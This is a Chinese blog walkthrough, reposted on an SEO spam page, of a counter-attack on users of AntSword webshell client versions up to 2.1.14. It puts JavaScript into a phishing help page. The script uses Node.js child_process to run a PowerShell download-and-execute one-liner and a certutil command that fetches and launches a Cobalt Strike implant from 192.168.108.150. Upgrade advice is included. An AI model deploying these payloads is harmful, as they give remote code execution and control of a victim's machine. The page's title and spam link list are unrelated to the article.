当前位置: 首页 > news >正文

微网站开发第三方平台cba排名

微网站开发第三方平台,cba排名,wordpress改为直接填写密码,企业模板网站怎么做前言 中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electr…

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

图片

图片

 

反制复现

环境准备:

红队蓝队
IP192.168.108.220192.168.108.150
版本蚁剑Cobalt Strike

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩

<body>
AntSword password admin
</body>
</html>

图片

图片

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

图片

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线

<script type="text/javascript">require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下载文件方式上线CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>

图片

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

可以自行编写攻击者点击钓鱼链接时的话术

图片

2、红队开始利用蚁剑进行连接

图片

模拟红队的文件浏览页面

图片

图片

模拟红队的命令行操作回显

图片

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

图片

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

图片

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

修复建议

1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。

http://www.zhongyajixie.com/news/3566.html

相关文章:

  • 电子商务网站建设与管理实训总结免费的发帖收录网站
  • 拼多多网站在那里做网络营销方法有哪些
  • 如何做优惠券网站搜索引擎营销的优势和劣势
  • 嘉兴企业网站建设推广网络营销图片素材
  • 济南定制网站建设公司seo营销培训咨询
  • 网站建设费会计分录网络营销发展现状与趋势
  • 做网站找模板去哪好搜索引擎营销
  • 免费详情页模板网站不花钱网站推广
  • 大连网站建设 领超最好推广app赚佣金平台
  • 深圳网站建设找哪家好seo文章代写一篇多少钱
  • 中英文网站建设价格李江seo
  • 贵阳手机银行app关键词的优化和推广
  • 新网站如何做网站优化江门关键词排名优化
  • 餐饮网站建设推广长春百度seo排名
  • 有网站建设费科目吗中文搜索引擎排行榜
  • ps做网站一般用多大字体淘宝流量网站
  • 做网站的钱付款用途写什么智能营销系统
  • 佛山网站建设计百度下载链接
  • 做本地网站网络推广主要工作内容
  • 大连金州网站建设南宁白帽seo技术
  • 电商网站 支付安装百度
  • 深圳布吉做网站百度推广一般要多少钱
  • 陕西省建设厅网站安全员报名排名函数rank怎么用
  • 怎样做网站反链网络营销专业介绍
  • 好看的网站首页特效西安网络公司
  • 吴江区建设用地申报网站教育机构排名
  • 怎样免费建企业网站吗关键词竞价排名是什么意思
  • php网站开发文本格式设置最新战争新闻事件今天
  • 网站导航栏seo优化推广工程师
  • 网站中下滑菜单怎么做seo是什么缩写